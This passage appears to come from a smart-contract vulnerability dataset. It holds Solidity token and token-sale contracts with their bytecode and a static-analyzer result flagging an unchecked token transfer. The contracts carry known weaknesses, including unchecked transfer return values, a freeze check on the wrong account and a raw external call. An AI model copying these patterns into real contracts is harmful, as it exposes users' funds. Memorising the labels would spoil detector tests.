function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
/**
@dev Allows token sale with parent token
*/
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div( SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
}
|
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306bcf02f1461031257806306fdde031461033f578063095ea7b3146103cf5780631608f18f1461043457806318160ddd146104635780631cbaee2d1461048e5780631d4a9209146104b957806323b872dd14610524578063313ce567146105a957806338af3eed146105da57806354fd4d501461063157806368e57c6b146106c15780636ab3846b146106ec5780636e33a8311461071957806370a082311461075957806379ba5097146107b0578063867904b4146107c75780638692ac86146108145780638d6cc56d146108575780638da5cb5b1461088457806395d89b41146108db57806398079dc41461096b5780639e281a98146109c2578063a035b1fe14610a0f578063a24835d114610a3a578063a9059cbb14610a87578063bef97c8714610aec578063cb52c25e14610b1b578063d4ee1d9014610b48578063da5da3b914610b9f578063dd62ed3e14610c2a578063ea5a641614610ca1578063ed338ff114610cd0578063f2fde38b14610cfb575b600060011515600d60009054906101000a900460ff1615151415156101d057600080fd5b6101ed6101e534670de0b6b3a7640000610d3e565b600b54610d7c565b9050600c54811115151561020057600080fd5b600a54421115801561021457506009544210155b151561021f57600080fd5b61022b600c5482610da6565b600c8190555061023b3382610dc7565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102a3573d6000803e3d6000fd5b507f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150005b34801561031e57600080fd5b5061033d60048036038101908080359060200190929190505050610f80565b005b34801561034b57600080fd5b50610354610fe5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611083565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610461600480360381019080803515159060200190929190505050611175565b005b34801561046f57600080fd5b506104786111ee565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a36111f4565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b5061052260048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b34801561053057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611269565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be611624565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105e657600080fd5b506105ef611637565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063d57600080fd5b5061064661165d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cd57600080fd5b506106d66116fb565b6040518082815260200191505060405180910390f35b3480156106f857600080fd5b5061071760048036038101908080359060200190929190505050611701565b005b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611777565b005b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107c5611a27565b005b3480156107d357600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b005b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b005b34801561086357600080fd5b5061088260048036038101908080359060200190929190505050611f4f565b005b34801561089057600080fd5b50610899611fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611fd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097757600080fd5b50610980612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061209d565b005b348015610a1b57600080fd5b50610a246121db565b6040518082815260200191505060405180910390f35b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e1565b005b348015610a9357600080fd5b50610ad2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b0565b604051808215151515815260200191505060405180910390f35b348015610af857600080fd5b50610b016125dc565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b46600480360381019080803590602001909291905050506125ef565b005b348015610b5457600080fd5b50610b5d612654565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610c2860048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267a565b005b348015610c3657600080fd5b50610c8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b6040518082815260200191505060405180910390f35b348015610cad57600080fd5b50610cb66127cd565b604051808215151515815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce56127e0565b6040518082815260200191505060405180910390f35b348015610d0757600080fd5b50610d3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e6565b005b6000806000841415610d535760009150610d75565b8284029050828482811515610d6457fe5b04141515610d7157600080fd5b8091505b5092915050565b600080600083111515610d8e57600080fd5b8284811515610d9957fe5b0490508091505092915050565b600080838311151515610db857600080fd5b82840390508091505092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0457600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4057600080fd5b610e4c600254846128e1565b600281905550610e9b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8060098190555050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561107b5780601f106110505761010080835404028352916020019161107b565b820191906000526020600020905b81548152906001019060200180831161105e57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d057600080fd5b8015600160146101000a81548160ff02191690831515021790555050565b60025481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125557600080fd5b6112628585858585612902565b5050505050565b6000600160149054906101000a900460ff16151561128357fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561134e575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113875750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611618576113d5600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061161d565b600090505b9392505050565b600660009054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116f35780601f106116c8576101008083540402835291602001916116f3565b820191906000526020600020905b8154815290600101906020018083116116d657829003601f168201915b505050505081565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175c57600080fd5b600954811015151561176d57600080fd5b80600a8190555050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117d557600080fd5b6117e182600b54610d3e565b9050600c5481111515156117f457600080fd5b600a54421115801561180857506009544210155b151561181357600080fd5b61181f600c5482610da6565b600c819055508273ffffffffffffffffffffffffffffffffffffffff166323b872dd33600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b505050506040513d602081101561194857600080fd5b8101908080519060200190929190505050151561196457600080fd5b61196e3382610dc7565b7f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5e57600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c9a57600080fd5b611ca6600254846128e1565b600281905550611cf5600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faa57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206f5780601f106120445761010080835404028352916020019161206f565b820191906000526020600020905b81548152906001019060200180831161205257829003601f168201915b505050505081565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b8101908080519060200190929190505050505050565b600b5481565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561227257600080fd5b6122bb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610da6565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a60025482610da6565b6002819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600160149054906101000a900460ff1615156123ca57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156124465750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125d157612494600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612520600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506125d6565b600090505b92915050565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126d557600080fd5b6000600d60006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061273e8686868686612902565b505050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561289d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156128f857600080fd5b8091505092915050565b600060095414151561291357600080fd5b8460098190555083600a8190555082600b8190555081600c8190555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f65b937d460c7c5cfeac1c37e5cbf1f4d6136747e3b2c9f1773d2d61cef193b5b600954600a54600b54600c5442604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505600a165627a7a72305820ccc0f7330f54a768e0bbf0fdc46db25384c2b5f3310dd42cac9fd3f6cc0122c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,195 |
0xd56e07e654f88d411dc5e63980fe555ed80d4876
|
pragma solidity ^0.4.16;
// Yo Token based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Smartcontract for Yo Token
// Verified Status: ERC20 Verified Token
// Yo Token Symbol: YOT
contract YOTOKENToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* YO Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract YOTStandardToken is YOTOKENToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract YOTOKEN is YOTStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 880 * (10**7) * 10**8 ; // 8.8 Billion tokens, 8 decimal places
string constant public name = "YO";
string constant public symbol = "YO";
function YOTOKEN(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffff